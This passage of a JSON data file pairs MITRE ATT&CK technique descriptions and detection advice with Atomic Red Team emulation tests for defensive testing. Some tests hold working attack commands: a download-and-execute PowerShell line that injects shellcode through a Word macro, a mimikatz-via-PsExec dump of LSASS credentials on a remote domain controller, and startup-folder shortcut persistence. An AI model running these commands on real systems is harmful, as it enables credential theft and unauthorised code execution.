- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread
, SuspendThread
/SetThreadContext
/ResumeThread
, QueueUserAPC
/NtQueueApcThread
, and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Module: Module Load",
- "File: File Modification",
- "File: File Metadata",
- "Process: Process Modification",
- "Process: OS API Execution",
- "Process: Process Access"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Anti-virus"
- ],
- "identifier": "T1055"
- },
- "atomic_tests": [
- {
- "name": "Shellcode execution via VBA",
- "auto_generated_guid": "1c91e740-1729-4329-b779-feba6e71d048",
- "description": "This module injects shellcode into a newly created process and executes. By default the shellcode is created,\nwith Metasploit, for use on x86-64 Windows 10 machines.\n\nNote: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office\nis required.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "txt_path": {
- "description": "Path to file containing VBA macro to run",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The 64-bit version of Microsoft Office must be installed\n",
- "prereq_command": "try {\n $wdApp = New-Object -COMObject \"Word.Application\"\n $path = $wdApp.Path\n Stop-Process -Name \"winword\"\n if ($path.contains(\"(x86)\")) { exit 1 } else { exit 0 }\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft Word (64-bit) manually to meet this requirement\"\n"
- },
- {
- "description": "#{txt_path} must exist on disk at specified location\n",
- "prereq_command": "if (Test-Path #{txt_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{txt_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt\" -OutFile \"#{txt_path}\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"#{txt_path}\" -officeProduct \"Word\" -sub \"Execute\"\n",
- "name": "powershell"
- }
- },
- {
- "name": "Remote Process Injection in LSASS via mimikatz",
- "auto_generated_guid": "3203ad24-168e-4bec-be36-f79b13ef8a83",
- "description": "Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).\nEspecially useful against domain controllers in Active Directory environments.\nIt must be executed in the context of a user who is privileged on remote `machine`.\n\nThe effect of `/inject` is explained in \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "machine": {
- "description": "machine to target (via psexec)",
- "type": "string",
- "default": "DC1"
- },
- "mimikatz_path": {
- "description": "Mimikatz windows executable",
- "type": "path",
- "default": "%tmp%\\mimikatz\\x64\\mimikatz.exe"
- },
- "psexec_path": {
- "description": "Path to PsExec",
- "type": "string",
- "default": "C:\\PSTools\\PsExec.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n",
- "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
- },
- {
- "description": "PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})\n",
- "prereq_command": "if (Test-Path \"#{psexec_path}\") { exit 0} else { exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"#{psexec_path}\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"#{psexec_path}\" -Force\n"
- }
- ],
- "executor": {
- "command": "#{psexec_path} /accepteula \\\\#{machine} -c #{mimikatz_path} \"lsadump::lsa /inject /id:500\" \"exit\"\n",
- "name": "command_prompt",
- "elevation_required": false
- }
- },
- {
- "name": "Section View Injection",
- "auto_generated_guid": "c6952f41-6cf0-450a-b352-2ca8dae7c178",
- "description": "This test creates a section object in the local process followed by a local section view.\nThe shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. \nA thread is then created in the target process, using the remote section view as start address.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$notepad = Start-Process notepad -passthru\nStart-Process $PathToAtomicsFolder\\T1055\\bin\\x64\\InjectView.exe\n",
- "cleanup_command": "Stop-Process $notepad.pid",
- "name": "powershell"
- }
- }
- ]
- },
- "T1038": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:40.604Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "url": "https://attack.mitre.org/techniques/T1038",
- "external_id": "T1038",
- "source_name": "mitre-attack"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/471.html",
- "source_name": "capec",
- "external_id": "CAPEC-471"
- },
- {
- "source_name": "Microsoft DLL Search",
- "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
- "url": "http://msdn.microsoft.com/en-US/library/ms682586"
- },
- {
- "source_name": "OWASP Binary Planting",
- "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.",
- "url": "https://www.owasp.org/index.php/Binary_planting"
- },
- {
- "source_name": "Microsoft 2269637",
- "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.",
- "url": "https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/"
- },
- {
- "source_name": "Microsoft DLL Redirection",
- "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.",
- "url": "http://msdn.microsoft.com/en-US/library/ms682600"
- },
- {
- "source_name": "Microsoft Manifests",
- "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.",
- "url": "https://msdn.microsoft.com/en-US/library/aa375365"
- },
- {
- "source_name": "Mandiant Search Order",
- "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.",
- "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
- }
- ],
- "modified": "2020-03-26T14:49:47.091Z",
- "name": "DLL Search Order Hijacking",
- "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Process whitelisting"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_system_requirements": [
- "Ability to add a DLL, manifest file, or .local file, directory, or junction."
- ],
- "x_mitre_effective_permissions": [
- "User",
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1050": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Pedro Harrison"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:45.613Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1050",
- "url": "https://attack.mitre.org/techniques/T1050"
- },
- {
- "external_id": "CAPEC-550",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/550.html"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx",
- "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
- "source_name": "TechNet Services"
- },
- {
- "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697",
- "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.",
- "source_name": "Microsoft 4697 APR 2017"
- },
- {
- "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection",
- "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.",
- "source_name": "Microsoft Windows Event Forwarding FEB 2018"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-03-17T16:21:36.413Z",
- "name": "New Service",
- "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1611": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Yuval Avrahami, Palo Alto Networks",
- "Daniel Prizmant, Palo Alto Networks",
- "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics",
- "Alfredo Oliveira, Trend Micro",
- "David Fiser, @anu4is, Trend Micro",
- "Idan Frimark, Cisco",
- "Magno Logan, @magnologan, Trend Micro",
- "Ariel Shuper, Cisco",
- "Yossi Weizman, Azure Defender Research Team",
- "Vishwas Manral, McAfee"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665",
- "type": "attack-pattern",
- "created": "2021-03-30T17:38:34.277Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1611",
- "url": "https://attack.mitre.org/techniques/T1611"
- },
- {
- "source_name": "Docker Overview",
- "url": "https://docs.docker.com/get-started/overview/",
- "description": "Docker. (n.d.). Docker Overview. Retrieved March 30, 2021."
- },
- {
- "source_name": "Docker Bind Mounts",
- "url": "https://docs.docker.com/storage/bind-mounts/",
- "description": "Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021."
- },
- {
- "source_name": "Trend Micro Privileged Container",
- "url": "https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html",
- "description": "Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021."
- },
- {
- "source_name": "Intezer Doki July 20",
- "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/",
- "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."
- },
- {
- "source_name": "Windows Server Containers Are Open",
- "url": "https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/",
- "description": "Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021."
- }
- ],
- "modified": "2022-04-01T13:06:06.128Z",
- "name": "Escape to Host",
- "description": "Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount
(as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Creation",
- "Volume: Volume Modification",
- "Container: Container Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User",
- "root"
- ],
- "identifier": "T1611"
- },
- "atomic_tests": []
- },
- "T1547.009": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "David French, Elastic",
- "Bobby, Filar, Elastic",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
- "type": "attack-pattern",
- "created": "2020-01-24T19:00:32.917Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.009",
- "url": "https://attack.mitre.org/techniques/T1547/009"
- },
- {
- "external_id": "CAPEC-132",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/132.html"
- },
- {
- "source_name": "BSidesSLC 2020 - LNK Elastic",
- "url": "https://www.youtube.com/watch?v=nJ0UsyiUEqQ",
- "description": "French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020."
- }
- ],
- "modified": "2021-04-13T21:30:24.555Z",
- "name": "Boot or Logon Autostart Execution: Shortcut Modification",
- "description": "Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1547.009"
- },
- "atomic_tests": [
- {
- "name": "Shortcut Modification",
- "auto_generated_guid": "ce4fc678-364f-4282-af16-2fb4c78005ce",
- "description": "This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;\ngci -path \"C:\\Users\" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern \"exe\" | FL.\nUpon execution, calc.exe will be launched.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "shortcut_file_path": {
- "description": "shortcut modified and execute",
- "type": "path",
- "default": "%temp%\\T1547.009_modified_shortcut.url"
- }
- },
- "executor": {
- "command": "echo [InternetShortcut] > #{shortcut_file_path}\necho URL=C:\\windows\\system32\\calc.exe >> #{shortcut_file_path}\n#{shortcut_file_path}\n",
- "cleanup_command": "del -f #{shortcut_file_path} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Create shortcut to cmd in startup folders",
- "auto_generated_guid": "cfdc954d-4bb0-4027-875b-a1893ce406f2",
- "description": "LNK file to launch CMD placed in startup folder. Upon execution, open File Explorer and browse to \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\"\nto view the new shortcut.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$Shell = New-Object -ComObject (\"WScript.Shell\")\n$ShortCut = $Shell.CreateShortcut(\"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\")\n$ShortCut.TargetPath=\"cmd.exe\"\n$ShortCut.WorkingDirectory = \"C:\\Windows\\System32\";\n$ShortCut.WindowStyle = 1;\n$ShortCut.Description = \"T1547.009.\";\n$ShortCut.Save()\n\n$Shell = New-Object -ComObject (\"WScript.Shell\")\n$ShortCut = $Shell.CreateShortcut(\"$env:ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\")\n$ShortCut.TargetPath=\"cmd.exe\"\n$ShortCut.WorkingDirectory = \"C:\\Windows\\System32\";\n$ShortCut.WindowStyle = 1;\n$ShortCut.Description = \"T1547.009.\";\n$ShortCut.Save()\n",
- "cleanup_command": "Remove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\" -ErrorAction Ignore\nRemove-Item \"$env:ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\" -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1182": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1182",
- "url": "https://attack.mitre.org/techniques/T1182"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- },
- {
- "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html",
- "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
- "source_name": "Sysinternals AppCertDlls Oct 2007"
- }
- ],
- "modified": "2020-11-10T18:29:30.350Z",
- "name": "AppCert DLLs",
- "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager
are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1547.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462",
- "type": "attack-pattern",
- "created": "2020-01-24T17:16:11.806Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.005",
- "url": "https://attack.mitre.org/techniques/T1547/005"
- },
- {
- "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
- "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
- "source_name": "Graeber 2014"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
- "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
- "source_name": "Microsoft Configure LSA"
- }
- ],
- "modified": "2020-03-25T15:42:48.910Z",
- "name": "Boot or Logon Autostart Execution: Security Support Provider",
- "description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages
and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages
. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe
with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification",
